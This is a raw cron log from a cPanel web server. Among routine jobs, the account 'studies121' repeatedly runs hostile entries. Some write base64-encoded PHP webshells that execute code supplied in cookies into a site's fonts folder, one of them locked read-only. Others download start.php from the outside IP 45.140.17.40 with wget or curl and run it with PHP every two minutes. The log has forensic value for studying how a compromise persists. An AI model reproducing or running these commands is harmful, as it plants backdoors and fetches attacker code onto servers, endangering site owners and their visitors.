Sep  9 14:51:01 ip-184-168-122-23 CROND[2924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:52:01 ip-184-168-122-23 CROND[3080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:52:01 ip-184-168-122-23 CROND[3082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:52:01 ip-184-168-122-23 CROND[3083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:52:01 ip-184-168-122-23 CROND[3084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:52:01 ip-184-168-122-23 CROND[3085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:53:01 ip-184-168-122-23 CROND[3166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:53:01 ip-184-168-122-23 CROND[3168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:53:01 ip-184-168-122-23 CROND[3170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:53:01 ip-184-168-122-23 CROND[3171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:54:01 ip-184-168-122-23 CROND[3275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:54:01 ip-184-168-122-23 CROND[3277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:54:01 ip-184-168-122-23 CROND[3279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:54:01 ip-184-168-122-23 CROND[3281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:54:01 ip-184-168-122-23 CROND[3282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:55:01 ip-184-168-122-23 CROND[3380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:55:01 ip-184-168-122-23 CROND[3384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:55:01 ip-184-168-122-23 CROND[3382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:55:01 ip-184-168-122-23 CROND[3385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:55:01 ip-184-168-122-23 CROND[3386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:55:01 ip-184-168-122-23 CROND[3383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:56:01 ip-184-168-122-23 CROND[3490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:56:01 ip-184-168-122-23 CROND[3491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:56:01 ip-184-168-122-23 CROND[3492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:56:01 ip-184-168-122-23 CROND[3493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:56:01 ip-184-168-122-23 CROND[3494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:57:01 ip-184-168-122-23 CROND[3575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:57:01 ip-184-168-122-23 CROND[3578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:57:01 ip-184-168-122-23 CROND[3577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:57:01 ip-184-168-122-23 CROND[3579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:58:01 ip-184-168-122-23 CROND[3677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:58:01 ip-184-168-122-23 CROND[3678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:58:01 ip-184-168-122-23 CROND[3682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:58:01 ip-184-168-122-23 CROND[3681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:58:01 ip-184-168-122-23 CROND[3683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:59:01 ip-184-168-122-23 CROND[3772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:59:01 ip-184-168-122-23 CROND[3774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:59:01 ip-184-168-122-23 CROND[3776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:59:01 ip-184-168-122-23 CROND[3779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:00:01 ip-184-168-122-23 CROND[3945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:00:01 ip-184-168-122-23 CROND[3955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:00:01 ip-184-168-122-23 CROND[3958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:00:01 ip-184-168-122-23 CROND[3959]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:00:01 ip-184-168-122-23 CROND[3962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:00:01 ip-184-168-122-23 CROND[3965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:00:01 ip-184-168-122-23 CROND[3963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:00:01 ip-184-168-122-23 CROND[3964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:01:01 ip-184-168-122-23 CROND[4072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:01:01 ip-184-168-122-23 CROND[4074]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 15:01:01 ip-184-168-122-23 CROND[4077]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 15:01:01 ip-184-168-122-23 CROND[4079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:01:01 ip-184-168-122-23 CROND[4081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:01:01 ip-184-168-122-23 CROND[4078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4077]: starting 0anacron
Sep  9 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4095]: finished 0anacron
Sep  9 15:02:01 ip-184-168-122-23 CROND[4183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:02:01 ip-184-168-122-23 CROND[4185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:02:01 ip-184-168-122-23 CROND[4186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:02:01 ip-184-168-122-23 CROND[4189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:02:01 ip-184-168-122-23 CROND[4190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:03:01 ip-184-168-122-23 CROND[4264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:03:01 ip-184-168-122-23 CROND[4267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:03:01 ip-184-168-122-23 CROND[4268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
